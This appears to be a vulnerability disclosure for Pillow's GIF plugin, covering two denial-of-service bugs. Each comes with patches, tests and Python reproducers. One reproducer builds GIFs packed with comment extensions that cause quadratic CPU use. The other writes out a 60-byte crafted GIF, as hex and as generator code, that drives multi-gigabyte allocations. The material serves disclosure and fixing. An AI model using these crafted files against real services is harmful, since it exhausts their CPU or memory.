diff diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..05007d2ac 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile): palette: ImagePalette.ImagePalette | Literal[False] | None = None info: dict[str, Any] = {} + commentblocks: list[bytes] | None = None frametransparency = None interlace = None framedisposeextent = None @@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile): # # comment extension # - comment = b"" + if commentblocks is None: + commentblocks = [] + else: + # If multiple comment blocks in frame, separate with \n + commentblocks.append(b"\n") # Read this comment block while block: - comment += block + commentblocks.append(block) block = self.data() - - if "comment" in info: - # If multiple comment blocks in frame, separate with \n - info["comment"] += b"\n" + comment - else: - info["comment"] = comment s = b"" continue elif s[0] == 255 and frame == 0 and block is not None: @@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile): ) ] - if info.get("comment"): - self.info["comment"] = info["comment"] + if commentblocks: + comment = b"".join(commentblocks) + if comment: + self.info["comment"] = comment for k in ["duration", "extension"]: if k in info: self.info[k] = info[k]
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 2,263 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 """Quadratic CPU in Image.open() on GIF comment extensions.
GifImageFile.seek() appends every comment extension to info["comment"] with bytes += (src/PIL/GifImagePlugin.py:266), copying the whole accumulated comment each time. Image.open() runs seek(0) eagerly, so merely opening a GIF made of many tiny comment extensions costs O(size^2) CPU.
We time Image.open() on two files of identical length: ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE) CONTROL - the same bytes with label 0x01 (plain-text extension), which seek() reads through the same loop but discards instead of concatenating. A linear parser would take ~2x longer when the file doubles, and the two files would cost about the same. """ import io import time
from PIL import Image
HEADER = b"GIF89a" + b"\x01\x00\x01\x00" + b"\x00\x00\x00" # 1x1 screen, no palette IMAGE = b",\x00\x00\x00\x00\x01\x00\x01\x00\x00" + b"\x02\x02\x44\x01\x00" # 1x1 frame TRAILER = b";"
def makegif(size: int, label: int) -> bytes: # each extension is 21 <label> 01 'A' 00: one 1-byte sub-block, then terminator extension = b"!" + bytes([label]) + b"\x01A\x00" return HEADER + extension (size // 5) + IMAGE + TRAILER
def timeopen(data: bytes) -> float: start = time.perfcounter() with Image.open(io.BytesIO(data)) as im: # no load(): the cost is in open() elapsed = time.perfcounter() - start assert im.size == (1, 1) return elapsed
MB = 1 << 20 attack, control = {}, {} for size in (2 MB, 4 MB): control[size] = timeopen(makegif(size, 0x01)) attack[size] = timeopen(makegif(size, 0xFE)) print(f"{size // MB} MB GIF control (0x01): {control[size]:6.2f} s " f"comments (0xFE): {attack[size]:6.2f} s", flush=True)
growth = attack[4 MB] / attack[2 MB] vscontrol = attack[4 MB] / control[4 MB] print(f"doubling 2 MB -> 4 MB multiplied open() time by x{growth:.1f} (linear: ~x2)") print(f"4 MB comment GIF took x{vscontrol:.0f} as long as the same-size control")
BUG: super-linear growth, far slower than the control, and seconds of CPU per open() print("BUG" if growth >= 3 and vscontrol >= 20 and attack[4 MB] >= 8 else "OK") </details>
---
============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile.seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.
The bug is in GifImageFile.seek() (src/PIL/GifImagePlugin.py:292-294). When a frame's extent enlarges the image, the code assigns the new size to self.size and only then calls Image.decompressionbombcheck(). Nothing restores the old size when DecompressionBombError is raised, because seek() only rolls back on EOFError. After the caught error, im.size reports the rejected size while the pixel buffer im.im is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.
In the attached reproducer, the rejected size is 40000×40000. A retried seek(1) followed by load() then reaches loadprepare(), which calls Image.core.fill() with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. Image.new("RGB", im.size, ...) and rotate(..., expand=True) also allocate from the stale size.
The default paths are unaffected: plain Image.open() plus load(), ImageSequence.Iterator, and nframes/isanimated. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.
Details
GifImageFile.seek() lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only after storing it on the object:
python src/PIL/GifImagePlugin.py:289-294 (GifImageFile.seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: self.size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image.decompressionbombcheck(self.size) # ...then validated
decompressionbombcheck() (src/PIL/Image.py:3586) raises DecompressionBombError for anything above 2 MAXIMAGEPIXELS (178 956 970 px by default), but by then self.size already holds the rejected value and nothing restores it: seek() (GifImagePlugin.py:166-179) only rolls back on EOFError, and seek(0) only ever grows size. The object that the application still holds therefore reports im.size == (40000, 40000) while im.im is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (GifImagePlugin.py:383 and :407), which call decompressionbombcheck(disposesize) before the corresponding Image.core.fill(), and TiffImagePlugin.loadprepare() (src/PIL/TiffImagePlugin.py:1319-1321), which checks tilesize before allocating from it.
With this 60-byte GIF (hex)
47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer
Image.open() succeeds (im.size == (1, 1)), im.seek(1) raises DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000), im.im.size == (1, 1), im.tell() == 0.
What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from im.size rather than from the C buffer:
- Retrying im.seek(1). The failed seek left self.offset == 0 and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. im.load() then runs GifImageFile.loadprepare(): python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self.previm = self.im if self.framepalette: self.im = Image.core.fill("P", self.size, self.frametransparency or 0) which allocates and memsets a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and loadend() (GifImagePlugin.py:485-491) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - im.rotate(angle, expand=True) for a non-multiple-of-90 angle, or the common flatten-onto-background idiom Image.new("RGB", im.size, bg), allocate from im.size as well (measured on an object poisoned to 20000×20000: rotate(45, expand=True) completes and touches 776 MiB; Image.new("RGB", im.size, "white") touches 1.5 GiB). Operations that pass im.size as a box against the real buffer (thumbnail, resize, save) fail with ValueError/SystemError instead.
The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold.
nframes / isanimated are not affected: they call seek(frame, updateimage=False), which skips the size assignment (the file above reports nframes == 2, isanimated == True and leaves im.size at 1×1).
Impact
A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from seek() — a broad except Exception around a while True: im.seek(im.tell()+1) frame-collection loop, or an explicit except DecompressionBombError: log and continue — and then keeps using the same Image object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: MemoryError after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The MAXIMAGEPIXELS guard fires, but does not actually keep the rejected dimensions out of the object it is guarding.
The precondition is real application behaviour but not the default path: Image.open(); im.load() is unaffected, and ImageSequence.Iterator propagates the error out of the for statement (a try inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late.
Reproducing
repro is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM.
1. setupenv() caps the process address space at 3 GiB with RLIMITAS, so the oversized allocations end in MemoryError instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by bombgif(). The GIF contains a 1×1 screen and a 1×1 frame 0, so Image.open() passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it. 2. poc() calls im.seek(1) and catches DecompressionBombError, the way an application that skips bad frames would. 3. First check: the state is inconsistent. The script prints im.size next to the real pixel buffer im.im.size. If the rejected frame had left the object unchanged, both would be (1, 1). On the affected code im.size is (40000, 40000). 4. Second check: memory use. The script retries im.seek(1), which now parses the trailing 1×1 frame, and calls im.load(). It prints the process's peak RSS before and after. loadprepare() sizes its Image.core.fill() from im.size, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation.
Expected output on the affected tree:
open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG
The script prints BUG only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints OK. With the attached patch applied, it prints im.size=(1, 1), peak RSS stays at about 23 MiB, and the last line is OK.
Suggested fix
The attached patch validates before mutating in GifImageFile.seek() (src/PIL/GifImagePlugin.py:292-294): the enlarged extent is computed into a local, passed to decompressionbombcheck(), and only then assigned to self.size, matching the order of the two disposesize checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point:
diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: - self.size = max(x1, self.size[0]), max(y1, self.size[1]) - Image.decompressionbombcheck(self.size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image.decompressionbombcheck(size) + self.size = size framedisposeextent = x0, y0, x1, y1 flags = s[8]
nframes / isanimated go through updateimage=False and are unaffected. The patch also extends testexceptiongifextents in Tests/testdecompressionbomb.py to assert that im.size is unchanged after the DecompressionBombError. It does not change seek() itself; optionally, seek() could also treat DecompressionBombError like EOFError and re-seek to lastframe, so that a retried seek() does not resume parsing from the middle of the rejected frame.
The patch
GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self.size
Applies to src/PIL/GifImagePlugin.py at the commit above.
diff diff --git a/Tests/testdecompressionbomb.py b/Tests/testdecompressionbomb.py index 98d833736..83cc785fc 100644 --- a/Tests/testdecompressionbomb.py +++ b/Tests/testdecompressionbomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def testexceptiongifzerowidth(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, "MAXIMAGEPIXELS", 4 64 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and updateimage: - self.size = max(x1, self.size[0]), max(y1, self.size[1]) - Image.decompressionbombcheck(self.size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image.decompressionbombcheck(size) + self.size = size framedisposeextent = x0, y0, x1, y1 flags = s[8]
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 2,474 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 GifImageFile.seek() stores a frame's enlarged size in self.size and only then runs the decompression-bomb check. The check raises, but the object keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct
from PIL import Image
BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 Image.MAXIMAGEPIXELS
def frame1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"
def bombgif(): return ( b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" 3 + b"\xff" 3 + frame1x1() # frame 0: 1x1, passes open() + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000 + frame1x1() # a real 1x1 frame follows + b";" )
def peakrssmib(): return resource.getrusage(resource.RUSAGESELF).rumaxrss // 1024
def setupenv(): # Cap the address space so the oversized allocations end in MemoryError # instead of the OOM killer. resource.setrlimit(resource.RLIMITAS, (3 << 30, 3 << 30)) data = bombgif() im = Image.open(io.BytesIO(data)) print(f"open(): {len(data)}-byte GIF, size={im.size}") return im
def poc(im): # An application skips the bomb frame and keeps going. try: im.seek(1) except Image.DecompressionBombError as e: print(f"seek(1) raised as intended: {e}") return True return False
im = setupenv() raised = poc(im)
Expected: a rejected frame leaves the object as it was (size == buffer == 1x1). print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}") poisoned = raised and im.size[0] im.size[1] > LIMIT and im.im.size == (1, 1)
Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its buffers from the poisoned im.size. before = peakrssmib() im.seek(1) try: im.load() outcome = "completed" except MemoryError: outcome = "MemoryError at the 3 GiB cap" after = peakrssmib() print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB") ballooned = after - before > 1000
print("BUG" if poisoned and ballooned else "OK") </details>
---